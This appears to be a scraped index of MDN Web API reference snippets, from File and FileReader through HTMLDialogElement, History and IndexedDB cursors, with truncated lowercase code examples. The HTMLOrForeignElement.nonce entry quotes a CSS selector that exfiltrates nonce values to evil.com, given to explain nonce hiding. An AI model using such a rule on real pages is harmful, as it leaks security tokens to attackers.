interfaces mediakeymessageevent contains the content and related data when the content decryption module (cdm) generates a message for the session.
FederatedCredential - Web APIs
event handlers none.
File.lastModified - Web APIs
WebAPIFilelastModified
example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be sup...
File - Web APIs
WebAPIFile
" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/file" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">file</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor file() returns a newly constructed file.
FileError - Web APIs
WebAPIFileError
no_modification_allowed_err 6 the state of the underlying file system prevents any writing to a file or a directory.
FileException - Web APIs
no_modification_allowed_err 6 the state of the underlying file system prevents any writing to a file or a directory.
FileReader.onabort - Web APIs
the filereader.onabort property contains an event handler executed when the abort event is fired, i.e.
onerror - Web APIs
the filereader onerror handler receives an event object, not an error object, as a parameter, but an error can be accessed from the filereader object, as instanceoffilereader.error // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onerror = function(event) { alert("failed to read file!\n\n" + reader.error); reader.abort(); // (...does this do anything useful in an onerror handler?) }; reader.readastext(file); } ...
FileReader.readAsText() - Web APIs
when the read operation is complete, the readystate is changed to done, the loadend event is triggered, and the result property contains the contents of the file as a text string.
FileReader.result - Web APIs
WebAPIFileReaderresult
it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the callback function provided to read().
FileSystemFileEntry.file() - Web APIs
the filereader's load event handler is set up to deliver the loaded string to the successcallback specified when the readfile() method was called; similarly, its error handler is set up to call the errorcallback specified.
FileSystemFileEntry - Web APIs
inside the success callback, event handlers are set up to handle the error error and writeend events.
FileSystemFlags - Web APIs
note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions prevent the creation of new files or the replacement of existing ones.
GainNode - Web APIs
WebAPIGainNode
to prevent this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface.
Gamepad.id - Web APIs
WebAPIGamepadid
syntax readonly attribute domstring id; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a string.
Gamepad.index - Web APIs
WebAPIGamepadindex
syntax readonly attribute long index; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a number.
Using the Geolocation API - Web APIs
${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result ...
Geolocation API - Web APIs
${latitude} °, longitude: ${longitude} °`; } function error() { status.textcontent = 'unable to retrieve your location'; } if(!navigator.geolocation) { status.textcontent = 'geolocation is not supported by your browser'; } else { status.textcontent = 'locating…'; navigator.geolocation.getcurrentposition(success, error); } } document.queryselector('#find-me').addeventlistener('click', geofindme); result specifications specification status comment geolocation api recommendation ...
HTMLButtonElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLCanvasElement.mozGetAsFile() - Web APIs
function draw() { var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 55, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 55, 50); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function copy() { var canvas = document.getelementbyid('canvas'); var f = canvas.mozgetasfile('test.png'); var reader = new filereader(); reader.readasdataurl(f); reader.onloadend = function() { var newimg = document.createelement('img'); newimg.src = reader.result; document.body.appendchild(newimg); } } window.addeventlistener('load', draw); sp...
HTMLDialogElement.close() - Web APIs
var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.open - Web APIs
var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.returnValue - Web APIs
d'); } } function handleuserinput(returnvalue) { if (returnvalue === 'cancel' || returnvalue == null) { // user canceled the dialog, do nothing } else if (returnvalue === 'confirm') { // user chose a favorite animal, do something with it } } // “update details” button opens the <dialog> modally updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); handleuserinput(dialog.returnvalue); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.show() - Web APIs
var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html living standard...
HTMLDialogElement.showModal() - Web APIs
var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLElement.hidden - Web APIs
javascript document.getelementbyid("okbutton") .addeventlistener("click", function() { document.getelementbyid("welcome").hidden = true; document.getelementbyid("awesome").hidden = false; }, false); this code sets up a handler for the welcome panel's "ok" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.
inert - Web APIs
WebAPIHTMLElementinert
according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node.
HTMLFormControlsCollection - Web APIs
/docs/web/api/htmlformcontrolscollection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformcontrolscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of its parent, htmlcollection.
HTMLFormElement.requestSubmit() - Web APIs
once the form has been submitted, the submit event is sent back to the form object.
HTMLImageElement.alt - Web APIs
html in the html for this example, shown below, the <img> element includes the alt property, which will prevent the image from having any alternate text, since it's simply a decorational detail.
HTMLImageElement.crossOrigin - Web APIs
const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ${url}`; container.append(errmsg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src = url; } loadimage(imageurl); html <div class="container"> <p>here's a paragraph.
HTMLImageElement.height - Web APIs
var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updateheight = event => { output.innertext = clockimage.height; }; window.addeventlistener("load", updateheight); window.addeventlistener("resize", updateheight); result this example may be easier to try out in its own window.
HTMLImageElement.srcset - Web APIs
.box { width: 200px; border: 2px solid rgba(150, 150, 150, 255); padding: 0.5em; word-break: break-all; } .box img { width: 200px; } javascript the following code is run within a handler for the window's load event.
HTMLInputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLInputElement.stepDown() - Web APIs
" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton'); button.addeventlistener('click', function() { stepondown();} ); function stepondown() { let input = document.getelementbyid('thenumber'); let val = document.getelementbyid('decrementer').value; if (val) { /* increment with a parameter */ input.stepdown(val); } else { /* or without a parameter.
HTMLInputElement.stepUp() - Web APIs
"5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="button" value="increment" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton') button.addeventlistener('click', function() { steponup() }) function steponup() { let input = document.getelementbyid('thenumber') let val = document.getelementbyid('incrementer').value if (val) { /* increment with a parameter */ input.stepup(val) } else { /* or without a parameter.
HTMLInputElement.webkitEntries - Web APIs
html <input id="files" type="file" multiple> javascript document.getelementbyid("files").addeventlistener("change", function(event) { event.target.webkitentries.foreach(function(entry) { /* do stuff with the entry */ }); }); each time a change event occurs, this code iterates over the selected files, obtaining their filesystementry-based objects and acting on them.
HTMLMediaElement.audioTracks - Web APIs
see event handlers in audiotracklist to learn more about watching for changes to a media element's track list.
HTMLMediaElement.error - Web APIs
when an error event is received by the element, you can determine details about what happened by examining this object.
HTMLMediaElement.networkState - Web APIs
<audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('playing', function() { if (obj.networkstate === 2) { // still loading...
HTMLMediaElement.readyState - Web APIs
<audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.videoTracks - Web APIs
see event handlers in videotracklist to learn more about watching for changes to a media element's track list.
HTMLMeterElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLOptionsCollection - Web APIs
ink:href="/docs/web/api/htmloptionscollection" target="_top"><rect x="181" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="286" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties name type description length unsigned long as optionally allowed by the spec, this property isn't read-only.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLOrForeignElement - Web APIs
the focused element is the element which will receive keyboard and similar events by default.
HTMLOutputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLProgressElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLSelectElement.checkValidity() - Web APIs
if the element fails its constraints, the browser fires a cancelable invalid event at the element, and then returns false.
HTMLSelectElement.disabled - Web APIs
label for="drink-select">drink selection:</label> <select id="drink-select" disabled> <option value="1">water</option> <option value="2">beer</option> <option value="3">pepsi</option> <option value="4">whisky</option> </select> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", function(event) { if (event.target.checked) { drinkselect.disabled = false; } else { drinkselect.disabled = true; } }, false); result specifications specification status comment html living standardthe definition of 'disabled' in that specification.
HTMLSelectElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLSelectElement.options - Web APIs
example html <label for="test">label</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
HTMLSelectElement.selectedIndex - Web APIs
index = index; example html <p id="p">selectedindex: 0</p> <select id="select"> <option selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLSlotElement.name - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLTextAreaElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <textarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLVideoElement.msHorizontalMirror - Web APIs
example var myvideo = document.getelementbyid("videotag1"); myvideo.mshorizontalmirror = true; myvideo.play(); example #2: var flip = document.queryselector('#flip'); flip.addeventlistener('click', function() { video.mshorizontalmirror = true; }); see also htmlvideoelement microsoft api extensions ...
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
you can listen to the onmsvideooptimallayoutchanged event to be notified when the msislayoutoptimalforplayback property changes.
History.go() - Web APIs
WebAPIHistorygo
add a listener for the popstate event in order to determine when the navigation has completed.
History.scrollRestoration - Web APIs
const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } prevent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html living standardthe definition of 'scroll restoration mode' in that specification.
History.state - Web APIs
WebAPIHistorystate
this is a way to look at the state without having to wait for a popstate event.
History - Web APIs
WebAPIHistory
this is a way to look at the state without having to wait for a popstate event.
History API - Web APIs
window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${json.stringify(event.state)}`) } history.pushstate({page: 1}, "title 1", "?page=1") history.pushstate({page: 2}, "title 2", "?page=2") history.replacestate({page: 3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back() // alerts "location: http://example.com/exampl...
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
for a complete working example, see our idbcursor example (view example live.) function advanceresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status ...
IDBCursor.continue() - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment index...
IDBCursor.continuePrimaryKey() - Web APIs
example here’s how you can resume an iteration of all articles tagged with "javascript" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadl...
IDBCursor.direction - Web APIs
for a complete working example, see our idbcursor example (view example live.) function backwards() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor(null,'prev').onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.direction); cursor.continue(); } else { console.log('entries displayed backwards.'); } };...
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.key); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification statu...
IDBCursor.primaryKey - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.primarykey); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification ...
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
for example: function displaydata() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; spec...
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification st...
IDBCursor - Web APIs
WebAPIIDBCursor
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status comment indexed da...
IDBCursorSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBCursorWithValue.value - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification sta...
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
// create event handlers for both success and failure of dbopenrequest.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += "<li>database initialised.</li>"; // store the result of opening the database in the db variable.
IDBDatabase.createObjectStore() - Web APIs
request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.cre...
IDBDatabase.name - Web APIs
WebAPIIDBDatabasename
// let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being // opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IDBDatabase.objectStoreNames - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IDBDatabase.version - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database // being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IDBDatabaseSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBEnvironmentSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBFactory - Web APIs
objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { console.error("error loading database."); }; dbopenrequest.onsuccess = function(event) { console.info("database initialised."); // store the result of opening the database in the db variable.
IDBFactorySync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
IDBIndex.getAll() - Web APIs
WebAPIIDBIndexgetAll
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBIndex.getAllKeys() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
IDBIndex.isAutoLocale - Web APIs
function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.isautolocale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.keypath); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.locale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.multiEntry - Web APIs
complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.multientry); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.name - Web APIs
WebAPIIDBIndexname
function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.name); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.objectStore - Web APIs
omplete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.objectstore); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.unique - Web APIs
WebAPIIDBIndexunique
